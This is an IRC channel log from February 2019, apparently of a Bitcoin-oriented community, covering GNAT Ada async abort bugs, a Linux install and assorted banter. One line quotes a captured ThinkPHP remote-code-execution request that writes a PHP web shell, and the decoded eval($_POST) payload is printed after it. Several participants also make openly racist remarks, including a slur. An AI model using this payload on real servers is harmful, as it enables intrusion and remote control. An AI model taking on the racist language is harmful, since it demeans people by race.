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feedbot: http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1716-part-i/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1716. - Part I.
diana_coman: http://btcbase.org/log/2019-02-11#1894896 -> ha, apparently you caught old hosting precisely when they messed up; thank you for reporting it, I'll have to sort it out (I had redirection set up from dianacoman->ossasepia since I'm sure it's not only my internal links but atm it's broken, will fix)
a111: Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance.
auctionbot: Buy order # 1040 has ENDED: 500 Wired Filthy Fiats (WU is fine) SOLD by jurov for 154mn ecu. Attn: BingoBoingo
phf: i saw the x11 thread, will respond in a day or two once i'm on a more reliable internet
asciilifeform: phf et al : 1 of asciilifeform's ancient backburner crackpotteries is... an iron x terminal. ( these -- existed, but would be imho useful to have a proper one, that 1) runs off rom 2) can drive N large displays )
asciilifeform: i.e. fully an' properly separate rasterism from the comp per se, never buy video cards again..
asciilifeform: imho the traditional kitchen-toilet system is inherently unhygienic
asciilifeform: diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat
mircea_popescu: asciilifeform much later tho
a111: Logged on 2018-08-01 03:07 douchebag: Also the security firm I'm working on is expected to pull at least a half million dollars by december
BingoBoingo: Ah, they never end
asciilifeform: guten morgen mircea_popescu !
asciilifeform: http://btcbase.org/log/2019-02-11#1895021 << i saw nearly half MB of these in dulap log not long ago. iirc they're pill for ciscoisms
a111: Logged on 2019-02-11 16:16 mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true
asciilifeform: http://btcbase.org/log/2019-02-11#1895025 << ha. speaking of which, the particle thrower is to arrive today.
asciilifeform: will prolly take asciilifeform a coupla days to hoist it on the pedestal and test, tho, conveyor is currently packed
asciilifeform: s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy
mircea_popescu: you know ? VERY much an exercise in http://btcbase.org/log/2017-07-18#1686299
a111: Logged on 2017-07-18 22:58 asciilifeform: whaack is quite likely thinking of the bulk of the b00k, which consists of blockcipher liquishit which is complicated for no reason at all other than the religion where 'it is confusing to ME, author, and therefore Must Be Hard To Break'
mircea_popescu: "i feel this is security-flavoured!"
asciilifeform: payload, btw, is CnluXun<?php @eval($_POST['lx']);?>
mircea_popescu: longer more complex incantation has better chances at communing with the spirit.
asciilifeform: it's a snoar, straight trigger for pre-emplaced booby, decorated to get past some idjit ids thing somewhere
mircea_popescu: a LARGE portion of why "computer security" is SUCH a popular activity has to do with the profoundly african mentality of most... well, africans, to put it plainly.
mircea_popescu: "you mean i have to sit by magic stone all day come up with incantations ? SIGN ME UO!!!"
asciilifeform: mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will
asciilifeform: erry bit equally african.
mircea_popescu: aha. but they're both very... well, in Mr. Oover's terms, not white men.
asciilifeform: white man, if legend is to be believed, built the temple walls , but in living memory nobody's seen'em beneath the monkey shit.
asciilifeform: ( if one were to ask monkey -- it's shit allthewaydown(tm) )
mircea_popescu: white man also didn't build straw & cardbox airplanes.
asciilifeform: speaking of these -- did anybody ever properly catalogue all known various attempts to 'replicate daedalus' ?
asciilifeform: y'know, where derp jumps from belltower with 'wings'
mircea_popescu: you want a list of all the urban sidewalk pizza ?
asciilifeform: specifically-'flight'-flavoured
asciilifeform: i dun think there were that many recorded ( can only think of 2 right off memory )
asciilifeform: !#s холоп Никита
asciilifeform: hrm, apparently not in l0gz.
asciilifeform: 16th c.
asciilifeform: supposedly didn't even splat. coupla would-be imitators (as late as 18th) did, tho
asciilifeform: ( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason )
mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz
a111: Logged on 2018-11-27 21:18 mircea_popescu: Transcript for #bitcoin-otc 2018/11/27 IRC logs have been disabled due to the EU General Data Protection Regulation (GDPR). © 2010 — 2018 BitcoinStats
asciilifeform: in 'nikita the peon' incident, is remembered largely because, per the chronicle, ivan iv was present, and clapped, but proclaimed 'it is unbecoming of man to imitate the birds'
asciilifeform brb, the crane truck is here
mircea_popescu: mats now if you could devise some method to film alf for the next coupla hours...
asciilifeform: aaand it's done.
asciilifeform: mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane
mircea_popescu: there's always next time.
asciilifeform: mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing
asciilifeform: i dun have the ccd option tho, for some reason these cost weight in gold
asciilifeform: ( as it was -- coupla hundy, + same for the trucker's fee )
asciilifeform: iirc most of the mass is pb in the cabinet.
asciilifeform: shinohai: lost yer key or wat ..?
shinohai: Nah why u ask ?
asciilifeform: * shinohai is now known as derp
asciilifeform: * derp is now known as shinohai
asciilifeform: 'mmmmrrrghmmmm!!' 'are you sucking on a gag??' 'nah why didjaask'
shinohai: oh that .... I'm doing some bot testing.
feedbot: http://qntra.net/2019/02/british-mum-arrested-at-home-for-gendering-fellow-online/ << Qntra -- British Mum Arrested At Home For Gendering Fellow Online
trinque: deadnaming eh. there's a new one for me.
trinque: curious things, these factual realities that evaporate the moment random bum says otherwise.
BingoBoingo: Notice I didn't use the Pantsuit term. If anything we ought to preserve 'deadnaming' in our namespace for characters like bitcoin_charlie, Nefario, Taaki, Toomim, et al. Actual dead names whether or not the corresponding meat recieves oxygen.
trinque: republic already had it, as "damnatio memoriae"
BingoBoingo: Still, there's a benefit in having synonyms to erode their namespace
trinque grants
BingoBoingo: So long as there is resistance to what Pantsuit means by deadnaming and clarity as to what the Republic means, they gotta expend some of their infinite hitpoints of idiocy fighting the sorts of socialists like Anglin who want a different sort of socialist femstate
shinohai: http://btcbase.org/log/2019-02-11#1895061 <<< Ya know, I was gonna delete those out of uploads folder, but considering they might be useful for historical purposes I'll save them to http://btcinfo.sdf.org/library/
a111: Logged on 2019-02-11 17:16 mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz
shinohai: (I also have copy of all those gpg keys I scraped from tardstalk too)
asciilifeform: lol i took a look at these, whole parallel world where '2011 4evah'
asciilifeform: whole battalion of derps fighting over pocket change, bloviating over 'security' and 'p2p', etc
shinohai: sweet.
jurov: BingoBoingo: pls pgp me the wire details
BingoBoingo: Yes account number is relatively short. This is a small country with few accounts to fill the account number space.
BingoBoingo: trinque: deedbot appears down
asciilifeform: diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below :
asciilifeform: sooo went to experiment, and found that not only does diana_coman's async abort dunwork on ave1gnat , but even ordinary timeout abort behaves peculiarly (per the std) :
asciilifeform: http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds
asciilifeform: so then went to the standard docs. annex D ~in fact does~ mandate support for mircea_popescu-style 'halon switch, motherfucker' aborts. so then went to find , does gnat implement ?
asciilifeform: turns out that yes implements:
asciilifeform: and in particular, ln. 1079 of s-taprop-linux.adb , which implements the pthread mechanics behind the gnat scheduler
asciilifeform: nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf
asciilifeform: currently i suspect that adacorpse deliberately broke it, this is ~the~ pheature they use to peddle their 'pro' gnat (specifically advertised as 'support of real-time annex' )
asciilifeform: diana_coman et al : meanwhile in useful debugologies : if you use gpr with gnatD flag , you get copies of the expanded sores of yer proggy
asciilifeform: nao ideally would find where the fuck they broke the (implemented!!! in gnat) annex D Right Thing
asciilifeform: http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/index.htm << linked for the log. cross-indexing dunwork currently, as the damn thing aint a gpr project, but currently i dun have time to try to massage it into one , promises to be a week-long shitfest on its own
asciilifeform: i'ma post moar detail as i find it, gotta recharge head 1st.
asciilifeform: it may even be worth the sweat to excavate an older gnat and see whether similar.
asciilifeform: i suspect this is gonna be a '1-line' patch, to fix. q is where..
asciilifeform: ( the thing ~contains~ pthread_kill ! but it dun get called for somereason. )
asciilifeform: relatedly to entire subj, http://nosuchlabs.com/pub/warez/burns.djvu is the most readable ref i've found on the subj (of how the thing is supposed to work, that is , when actually worx )
asciilifeform: ( burns & wellings, '07 )
asciilifeform: specifically ch. 9.
asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask.
asciilifeform will return to this puzzler when returns.
asciilifeform: hrm, also gotta add -- if the delay-powered self-destruct is made to work, then so will async killing (given as it dun have to be 'delay', can be triggered by 'entry', i.e. flag, just the same )
asciilifeform bbl,meats
a111: Logged on 2019-02-11 03:15 asciilifeform: http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise
mod6: http://btcbase.org/log/2019-02-11#1894999 << This is actually one thing that I have not tried, I had previously done it both ways with root & boot, as /dev/sda & /dev/sda3 respectively, and with UUIDs. However, this line in particular: 'append="root=/dev/sda3 console=ttyS0,115200n8 net.ifnames=0"' I should try the UUID with instead of /dev/sda3.
a111: Logged on 2019-02-11 03:53 trinque: yeah, I'm specifying root=/dev/sda3 in lilo; whereas if I specified root=UUID=D9FCABCA-1F52-4A84-9CB8-4898F8DEC6AE, oughta be able to boot properly even if drive enumeration changes. that'd be nice for the infectious/reproductive angle later.
mod6: (and the others with UUIDs at the same time. Who knows, maybe that's the thing. I'll try to setup tonight for another build.)
mod6: http://btcbase.org/log/2019-02-11#1895003 << re: So I didn't ever use a USB boot disk, I actually was just using the Live CD to do the chrooting/troubleshooting. But I did the `./bootstrap.sh` from the working gentoo environment.
a111: Logged on 2019-02-11 03:56 trinque: if it's the case that he left it as an external usb disk, looks like kernel didn't know the disk was there, so the kernel he builds would have to know of the usb chip he has.
mod6: The other weird thing is that 'usb hub' as shown in the kernel.debug file. I do own a USB hub, as I bought one to test multiple FGs at the same time, but it's been just sitting on my desk for weeks.
mod6: It's strange because this particular box has like 10 USB ports on it. 2 in the front of the chassis, and like 8 in the back. I wonder if it's like a special add-on thing, I was going to take some pictures for you all, but I need to get down there and do that yet tonight.
mod6: Anyway, 'tis all for now, thanks for the info.
asciilifeform: mod6: all known usb chipsets have 'internal hub'
asciilifeform: it's how the thing fans out to N jacks
trinque: yep, ^ is what I meant by usb hub
trinque: there's of course a chip on your motherboard which wants its own driver
mod6: Alright, well if the pictures are unnecessary, will just skip that part. About to hook up that 250Gb Disk to SATA2 and inflate a fresh cunt(oo) on there.
Mocky: http://btcbase.org/log/2019-02-11#1894983 << I'm gonna reorder my list and move to wp first
a111: Logged on 2019-02-11 03:03 mircea_popescu: IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!!
mod6: ok CDROM power & SATA cable unplugged from SATA channel 2, and plugged into 250Gb WD SSD.
mod6: Booted back into Gentoo on SATA channel 1.
mod6: Will kick off the bootstrap.sh shortly.
mod6: http://p.bvulpes.com/pastes/JvAuR/?raw=true << Ok, zero'ing out /dev/sdb with 'dd', will run installer after that's complete.
mircea_popescu: http://btcbase.org/log/2019-02-11#1895085 << england's such a shithole by now, it's inconceivable man would visit without machine guns.
a111: Logged on 2019-02-11 19:28 trinque: curious things, these factual realities that evaporate the moment random bum says otherwise.
mircea_popescu: much more sensible to vacation in somalia, at least the niggers there are respectful.
mircea_popescu: http://btcbase.org/log/2019-02-11#1895093 <afaik those also saved by phuctor rite
a111: Logged on 2019-02-11 20:27 shinohai: (I also have copy of all those gpg keys I scraped from tardstalk too)
mircea_popescu: http://btcbase.org/log/2019-02-12#1895110 << shooting an email to their list as well as anyone named to be involved at this point imo the right move. email shouild include description with loglinks of the matter.
a111: Logged on 2019-02-12 01:16 asciilifeform: nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf
mircea_popescu: the gall of releasing non-standards compliant item needs not be passed over in silence.
asciilifeform: mircea_popescu: i'ma article about it when i finish up raging
asciilifeform: it's fuckinoutrageous
mircea_popescu: sure thing.
mircea_popescu: but -- email. must email them. all of them. their fucking support list, and every individual involved.
mircea_popescu: then when they fail to respond, they get a default negrate.
asciilifeform: will see what diana_coman dug out also, whoknows maybe i botched it somehow
mircea_popescu: because EVERY SINGLE PERSON EVER INVOLVED WITH GNAT AT ALL ~~MUST~~~ apologize for this, to me, personally./
mircea_popescu: that's the fucking cost of being a raging asshole.,
mircea_popescu: wanna be a man, then gotta be a man. for example, wanna be a restaurant maitre d', then you're stuck apologizing to the people that ordered 19 oz ny steak and got 1.5 oz cafeteria hoof cut. and so on. posturing brings with it the cost of sucking all the dick you earn the sucking of in the usual course of the business you're posturing with.
asciilifeform: mircea_popescu: when you get'em tied to the flogging post, make'em pay for the http://btcbase.org/log/2018-10-26#1866266 also..
a111: Logged on 2018-10-26 02:14 asciilifeform: meanwhile, in gnat bugs : apparently ( and this is documented or mentioned nowhere ) : it is impossible to have a Ada.Finalization.Limited_Controlled type ANYWHERE inside a static library, unless it is generic all the way down (i.e. if the lib package is generic, any sub-packages must also be instantiated as generics )
mircea_popescu: that got a pass because whatever, not so blatant.
asciilifeform: i got an entire mmap lib that aint genesisable yet on acct of above
asciilifeform: but sure.
mircea_popescu: i can see your point, but what can you do.
mircea_popescu: but yes, teh grievances pile doth climb.
mircea_popescu: http://btcbase.org/log/2019-02-12#1895118 <<< 1 line patch that'll bring out the broken glass, and so on.\
a111: Logged on 2019-02-12 01:25 asciilifeform: i suspect this is gonna be a '1-line' patch, to fix. q is where..
mircea_popescu: http://btcbase.org/log/2019-02-12#1895123 << maybe later. for now i'd much prefer a complete and thorough in-place solution, because rly now, if we're gonna use this, it's gotta work, not work-around.
a111: Logged on 2019-02-12 01:34 asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask.
asciilifeform: i'ma document the fuckwaddery ( unless diana_coman beat me to it )
asciilifeform: then can link to same .
a111: Logged on 2019-02-12 02:01 asciilifeform: it's how the thing fans out to N jacks
asciilifeform: lol! these!
asciilifeform: it aint any dumber than dmcaism tho
asciilifeform: approx same thing..
mod6: http://p.bvulpes.com/pastes/ht6ey/?raw=true << Ok, inflating /dev/sdb with cuntoo. Will report back more tomorrow after install is complete, and I update the lilo.conf via LiveCD chroot mount of cuntoo. Will post lilo.conf changes, and results.
mod6: g'night!
mircea_popescu: asciilifeform it's dumber, schmuck's like "hi there, i r anon please delete my name". how fucking stupid does he need to be, "anon" is not listed there.
mircea_popescu: dmca requires someone to register a claim, and they can actually be sued if it's fraudulent.
mircea_popescu: which is worth $$$ for me.
mircea_popescu likes nothing more than i think i know how to spell my own name innocents shooting dmca notices.
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